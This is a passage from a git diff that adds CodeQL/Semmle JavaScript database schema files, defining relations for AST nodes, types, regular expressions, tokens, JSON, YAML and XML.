ref); +rangeQuantifierLowerBound (unique int id: @regexp_range ref, int lo: int ref); +rangeQuantifierUpperBound (unique int id: @regexp_range ref, int hi: int ref); +isCapture (unique int id: @regexp_group ref, int number: int ref); +isNamedCapture (unique int id: @regexp_group ref, string name: string ref); +isInverted (int id: @regexp_char_class ref); +regexpConstValue (unique int id: @regexp_constant ref, varchar(1) value: string ref); +charClassEscape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +namedBackref (unique int id: @regexp_backref ref, string name: string ref); +unicodePropertyEscapeName (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicodePropertyEscapeValue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error | @json_parse_error + | @regexpterm + | @json_value + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_node | @yaml_error + | @xmllocatable; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @exprparent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_named_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = @jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +// YAML +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + varchar(900) tag: string ref, + varchar(900) tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + varchar(900) anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + varchar(900) target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + varchar(900) value: string ref); + +yaml_errors (unique int id: @yaml_error, + varchar(900) message: string ref); + +/* XML Files */ + +xmlEncoding( + unique int id: @file ref, + varchar(900) encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + varchar(900) root: string ref, + varchar(900) publicId: string ref, + varchar(900) systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + varchar(900) name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + varchar(900) name: string ref, + varchar(3600) value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + varchar(900) prefixName: string ref, + varchar(900) URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +@dataflownode = @expr | @functiondeclstmt | @classdeclstmt | @namespacedeclaration | @enumdeclaration | @property; + +@optionalchainable = @callexpr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/* Last updated 2018/10/22. */ diff --git a/javascript/upgrades/81e6619c681f7844e8ddc38db102e75b428c830c/semmlecode.javascript.dbscheme b/javascript/upgrades/81e6619c681f7844e8ddc38db102e75b428c830c/semmlecode.javascript.dbscheme new file mode 100644 index 00000000000..4f136cb9360 --- /dev/null +++ b/javascript/upgrades/81e6619c681f7844e8ddc38db102e75b428c830c/semmlecode.javascript.dbscheme @@ -0,0 +1,1085 @@ +/*** Standard fragments ***/ + +/** Files and folders **/ + +@location = @location_default; + +locations_default(unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref + ); + +@sourceline = @locatable; + +numlines(int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref + ); + + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files(unique int id: @file, + varchar(900) name: string ref, + varchar(900) simple: string ref, + varchar(900) ext: string ref, + int fromSource: int ref); + +folders(unique int id: @folder, + varchar(900) name: string ref, + varchar(900) simple: string ref); + + +@container = @folder | @file ; + + +containerparent(int parent: @container ref, + unique int child: @container ref); + +/** Duplicate code **/ + +duplicateCode( + unique int id : @duplication, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +similarCode( + unique int id : @similarity, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +@duplication_or_similarity = @duplication | @similarity; + +tokens( + int id : @duplication_or_similarity ref, + int offset : int ref, + int beginLine : int ref, + int beginColumn : int ref, + int endLine : int ref, + int endColumn : int ref); + +/** External data **/ + +externalData( + int id : @externalDataElement, + varchar(900) path : string ref, + int column: int ref, + varchar(900) value : string ref +); + +snapshotDate(unique date snapshotDate : date ref); + +sourceLocationPrefix(varchar(900) prefix : string ref); + +/** Version control data **/ + +svnentries( + int id : @svnentry, + varchar(500) revision : string ref, + varchar(500) author : string ref, + date revisionDate : date ref, + int changeSize : int ref +); + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + varchar(500) action : string ref +); + +svnentrymsg( + int id : @svnentry ref, + varchar(500) message : string ref +); + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +); + + +/*** JavaScript-specific part ***/ + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +isExterns (int toplevel: @toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url; + +isModule (int tl: @toplevel ref); +isNodejs (int tl: @toplevel ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmtparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmtContainers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jumpTargets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmtparent = @stmt | @toplevel | @functionexpr | @arrowfunctionexpr; +@stmt_container = @toplevel | @function | @namespacedeclaration | @externalmoduledeclaration | @globalaugmentationdeclaration; + +case @stmt.kind of + 0 = @emptystmt +| 1 = @blockstmt +| 2 = @exprstmt +| 3 = @ifstmt +| 4 = @labeledstmt +| 5 = @breakstmt +| 6 = @continuestmt +| 7 = @withstmt +| 8 = @switchstmt +| 9 = @returnstmt +| 10 = @throwstmt +| 11 = @trystmt +| 12 = @whilestmt +| 13 = @dowhilestmt +| 14 = @forstmt +| 15 = @forinstmt +| 16 = @debuggerstmt +| 17 = @functiondeclstmt +| 18 = @vardeclstmt +| 19 = @case +| 20 = @catchclause +| 21 = @forofstmt +| 22 = @constdeclstmt +| 23 = @letstmt +| 24 = @legacy_letstmt +| 25 = @foreachstmt +| 26 = @classdeclstmt +| 27 = @importdeclaration +| 28 = @exportalldeclaration +| 29 = @exportdefaultdeclaration +| 30 = @exportnameddeclaration +| 31 = @namespacedeclaration +| 32 = @importequalsdeclaration +| 33 = @exportassigndeclaration +| 34 = @interfacedeclaration +| 35 = @typealiasdeclaration +| 36 = @enumdeclaration +| 37 = @externalmoduledeclaration +| 38 = @exportasnamespacedeclaration +| 39 = @globalaugmentationdeclaration +; + +@declstmt = @vardeclstmt | @constdeclstmt | @letstmt | @legacy_letstmt; + +@exportdeclaration = @exportalldeclaration | @exportdefaultdeclaration | @exportnameddeclaration; + +@namespacedefinition = @namespacedeclaration | @enumdeclaration; +@typedefinition = @classdefinition | @interfacedeclaration | @enumdeclaration | @typealiasdeclaration | @enum_member; + +isInstantiated(unique int decl: @namespacedeclaration ref); + +@declarablestmt = @declstmt | @namespacedeclaration | @classdeclstmt | @functiondeclstmt | @enumdeclaration | @externalmoduledeclaration | @globalaugmentationdeclaration; +hasDeclareKeyword(unique int stmt: @declarablestmt ref); + +isForAwaitOf(unique int forof: @forofstmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @exprparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @exprortype ref); + +enclosingStmt (unique int expr: @exprortype ref, + int stmt: @stmt ref); + +exprContainers (unique int expr: @exprortype ref, + int container: @stmt_container ref); + +arraySize (unique int ae: @arraylike ref, + int sz: int ref); + +isDelegating (int yield: @yieldexpr ref); + +@exprorstmt = @expr | @stmt; +@exprortype = @expr | @typeexpr; +@exprparent = @exprorstmt | @property | @functiontypeexpr; +@arraylike = @arrayexpr | @arraypattern; + +case @expr.kind of + 0 = @label +| 1 = @nullliteral +| 2 = @booleanliteral +| 3 = @numberliteral +| 4 = @stringliteral +| 5 = @regexpliteral +| 6 = @thisexpr +| 7 = @arrayexpr +| 8 = @objexpr +| 9 = @functionexpr +| 10 = @seqexpr +| 11 = @conditionalexpr +| 12 = @newexpr +| 13 = @callexpr +| 14 = @dotexpr +| 15 = @indexexpr +| 16 = @negexpr +| 17 = @plusexpr +| 18 = @lognotexpr +| 19 = @bitnotexpr +| 20 = @typeofexpr +| 21 = @voidexpr +| 22 = @deleteexpr +| 23 = @eqexpr +| 24 = @neqexpr +| 25 = @eqqexpr +| 26 = @neqqexpr +| 27 = @ltexpr +| 28 = @leexpr +| 29 = @gtexpr +| 30 = @geexpr +| 31 = @lshiftexpr +| 32 = @rshiftexpr +| 33 = @urshiftexpr +| 34 = @addexpr +| 35 = @subexpr +| 36 = @mulexpr +| 37 = @divexpr +| 38 = @modexpr +| 39 = @bitorexpr +| 40 = @xorexpr +| 41 = @bitandexpr +| 42 = @inexpr +| 43 = @instanceofexpr +| 44 = @logandexpr +| 45 = @logorexpr +| 47 = @assignexpr +| 48 = @assignaddexpr +| 49 = @assignsubexpr +| 50 = @assignmulexpr +| 51 = @assigndivexpr +| 52 = @assignmodexpr +| 53 = @assignlshiftexpr +| 54 = @assignrshiftexpr +| 55 = @assignurshiftexpr +| 56 = @assignorexpr +| 57 = @assignxorexpr +| 58 = @assignandexpr +| 59 = @preincexpr +| 60 = @postincexpr +| 61 = @predecexpr +| 62 = @postdecexpr +| 63 = @parexpr +| 64 = @vardeclarator +| 65 = @arrowfunctionexpr +| 66 = @spreadelement +| 67 = @arraypattern +| 68 = @objectpattern +| 69 = @yieldexpr +| 70 = @taggedtemplateexpr +| 71 = @templateliteral +| 72 = @templateelement +| 73 = @arraycomprehensionexpr +| 74 = @generatorexpr +| 75 = @forincomprehensionblock +| 76 = @forofcomprehensionblock +| 77 = @legacy_letexpr +| 78 = @vardecl +| 79 = @proper_varaccess +| 80 = @classexpr +| 81 = @superexpr +| 82 = @newtargetexpr +| 83 = @namedimportspecifier +| 84 = @importdefaultspecifier +| 85 = @importnamespacespecifier +| 86 = @namedexportspecifier +| 87 = @expexpr +| 88 = @assignexpexpr +| 89 = @jsxelement +| 90 = @jsxqualifiedname +| 91 = @jsxemptyexpr +| 92 = @awaitexpr +| 93 = @functionsentexpr +| 94 = @decorator +| 95 = @exportdefaultspecifier +| 96 = @exportnamespacespecifier +| 97 = @bindexpr +| 98 = @externalmodulereference +| 99 = @dynamicimport +| 100 = @expressionwithtypearguments +| 101 = @prefixtypeassertion +| 102 = @astypeassertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigintliteral +| 107 = @nullishcoalescingexpr +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @vardecl | @varaccess; + +@identifier = @label | @varref | @typeidentifier; + +@literal = @nullliteral | @booleanliteral | @numberliteral | @stringliteral | @regexpliteral | @bigintliteral; + +@propaccess = @dotexpr | @indexexpr; + +@invokeexpr = @newexpr | @callexpr; + +@unaryexpr = @negexpr | @plusexpr | @lognotexpr | @bitnotexpr | @typeofexpr | @voidexpr | @deleteexpr | @spreadelement; + +@equalitytest = @eqexpr | @neqexpr | @eqqexpr | @neqqexpr; + +@comparison = @equalitytest | @ltexpr | @leexpr | @gtexpr | @geexpr; + +@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr | @nullishcoalescingexpr; + +@assignment = @assignexpr | @assignaddexpr | @assignsubexpr | @assignmulexpr | @assigndivexpr | @assignmodexpr | @assignexpexpr | @assignlshiftexpr | @assignrshiftexpr | @assignurshiftexpr | @assignorexpr | @assignxorexpr | @assignandexpr; + +@updateexpr = @preincexpr | @postincexpr | @predecexpr | @postdecexpr; + +@pattern = @varref | @arraypattern | @objectpattern; + +@comprehensionexpr = @arraycomprehensionexpr | @generatorexpr; + +@comprehensionblock = @forincomprehensionblock | @forofcomprehensionblock; + +@importspecifier = @namedimportspecifier | @importdefaultspecifier | @importnamespacespecifier; + +@exportspecifier = @namedexportspecifier | @exportdefaultspecifier | @exportnamespacespecifier; + +@typeassertion = @astypeassertion | @prefixtypeassertion; + +@classdefinition = @classdeclstmt | @classexpr; +@interfacedefinition = @interfacedeclaration | @interfacetypeexpr; +@classorinterface = @classdefinition | @interfacedefinition; + +@lexical_decl = @vardecl | @typedecl; +@lexical_access = @varaccess | @localtypeaccess | @localvartypeaccess | @localnamespaceaccess; +@lexical_ref = @lexical_decl | @lexical_access; + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @globalscope +| 1 = @functionscope +| 2 = @catchscope +| 3 = @modulescope +| 4 = @blockscope +| 5 = @forscope +| 6 = @forinscope // for-of scopes work the same as for-in scopes +| 7 = @comprehensionblockscope +| 8 = @classexprscope +| 9 = @namespacescope +| 10 = @classdeclscope +| 11 = @interfacescope +| 12 = @typealiasscope +| 13 = @mappedtypescope +| 14 = @enumscope +| 15 = @externalmodulescope +| 16 = @conditionaltypescope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @functiondeclstmt | @functionexpr | @arrowfunctionexpr; + +@parameterized = @function | @catchclause; +@type_parameterized = @function | @classorinterface | @typealiasdeclaration | @mappedtypeexpr | @infertypeexpr; + +isGenerator (int fun: @function ref); +hasRestParameter (int fun: @function ref); +isAsync (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +isArgumentsObject (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @localvartypeaccess; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @vardecl ref, + int decl: @variable ref); + +@typebind_id = @localtypeaccess | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @typedecl | @vardecl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @vardecl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @localnamespaceaccess | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +; + +@property_parent = @objexpr | @objectpattern | @classdefinition | @jsxelement | @interfacedefinition | @enumdeclaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @vardeclarator; + +isComputed (int id: @property ref); +isMethod (int id: @property ref); +isStatic (int id: @property ref); +isAbstractMember (int id: @property ref); +isConstEnum (int id: @enumdeclaration ref); +isAbstractClass (int id: @classdeclstmt ref); + +hasPublicKeyword (int id: @property ref); +hasPrivateKeyword (int id: @property ref); +hasProtectedKeyword (int id: @property ref); +hasReadonlyKeyword (int id: @property ref); +isOptionalMember (int id: @property ref); +hasDefiniteAssignmentAssertion (int id: @field_or_vardeclarator ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @functionexpr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @localtypeaccess +| 1 = @typedecl +| 2 = @keywordtypeexpr +| 3 = @stringliteraltypeexpr +| 4 = @numberliteraltypeexpr +| 5 = @booleanliteraltypeexpr +| 6 = @arraytypeexpr +| 7 = @uniontypeexpr +| 8 = @indexedaccesstypeexpr +| 9 = @intersectiontypeexpr +| 10 = @parenthesizedtypeexpr +| 11 = @tupletypeexpr +| 12 = @keyoftypeexpr +| 13 = @qualifiedtypeaccess +| 14 = @generictypeexpr +| 15 = @typelabel +| 16 = @typeoftypeexpr +| 17 = @localvartypeaccess +| 18 = @qualifiedvartypeaccess +| 19 = @thisvartypeaccess +| 20 = @istypeexpr +| 21 = @interfacetypeexpr +| 22 = @typeparameter +| 23 = @plainfunctiontypeexpr +| 24 = @constructortypeexpr +| 25 = @localnamespaceaccess +| 26 = @qualifiednamespaceaccess +| 27 = @mappedtypeexpr +| 28 = @conditionaltypeexpr +| 29 = @infertypeexpr +| 30 = @importtypeaccess +| 31 = @importnamespaceaccess +| 32 = @importvartypeaccess +| 33 = @optionaltypeexpr +| 34 = @resttypeexpr +; + +@typeref = @typeaccess | @typedecl; +@typeidentifier = @typedecl | @localtypeaccess | @typelabel | @localvartypeaccess | @localnamespaceaccess; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literaltypeexpr = @stringliteraltypeexpr | @numberliteraltypeexpr | @booleanliteraltypeexpr; +@typeaccess = @localtypeaccess | @qualifiedtypeaccess | @importtypeaccess; +@vartypeaccess = @localvartypeaccess | @qualifiedvartypeaccess | @thisvartypeaccess | @importvartypeaccess; +@namespaceaccess = @localnamespaceaccess | @qualifiednamespaceaccess | @importnamespaceaccess; +@importtypeexpr = @importtypeaccess | @importnamespaceaccess | @importvartypeaccess; + +@functiontypeexpr = @plainfunctiontypeexpr | @constructortypeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @anytype +| 1 = @stringtype +| 2 = @numbertype +| 3 = @uniontype +| 4 = @truetype +| 5 = @falsetype +| 6 = @typereference +| 7 = @objecttype +| 8 = @canonicaltypevariabletype +| 9 = @typeoftype +| 10 = @voidtype +| 11 = @undefinedtype +| 12 = @nulltype +| 13 = @nevertype +| 14 = @plainsymboltype +| 15 = @uniquesymboltype +| 16 = @objectkeywordtype +| 17 = @intersectiontype +| 18 = @tupletype +| 19 = @lexicaltypevariabletype +| 20 = @thistype +| 21 = @numberliteraltype +| 22 = @stringliteraltype +| 23 = @unknowntype +; + +@booleanliteraltype = @truetype | @falsetype; +@symboltype = @plainsymboltype | @uniquesymboltype; +@unionorintersectiontype = @uniontype | @intersectiontype; +@typevariabletype = @canonicaltypevariabletype | @lexicaltypevariabletype; + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @typereference | @typevariabletype | @typeoftype | @uniquesymboltype; +@ast_node_with_symbol = @typedefinition | @namespacedefinition | @toplevel | @typeaccess | @namespaceaccess | @vardecl | @function | @invokeexpr; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +@literaltype = @stringliteraltype | @numberliteraltype | @booleanliteraltype; +@type_with_literal_value = @stringliteraltype | @numberliteraltype; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @typereference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest( + unique int typ: @type ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslashcomment +| 1 = @slashstarcomment +| 2 = @doccomment +| 3 = @htmlcommentstart +| 4 = @htmlcommentend; + +@htmlcomment = @htmlcommentstart | @htmlcommentend; +@linecomment = @slashslashcomment | @htmlcomment; +@blockcomment = @slashstarcomment | @doccomment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +jsParseErrors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexpliteral; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_char +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = @regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape; + +regexpParseErrors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_char | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; + +isGreedy (int id: @regexp_quantifier ref); +rangeQuantifierLowerBound (unique int id: @regexp_range ref, int lo: int ref); +rangeQuantifierUpperBound (unique int id: @regexp_range ref, int hi: int ref); +isCapture (unique int id: @regexp_group ref, int number: int ref); +isNamedCapture (unique int id: @regexp_group ref, string name: string ref); +isInverted (int id: @regexp_char_class ref); +regexpConstValue (unique int id: @regexp_constant ref, varchar(1) value: string ref); +charClassEscape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +namedBackref (unique int id: @regexp_backref ref, string name: string ref); +unicodePropertyEscapeName (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicodePropertyEscapeValue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// 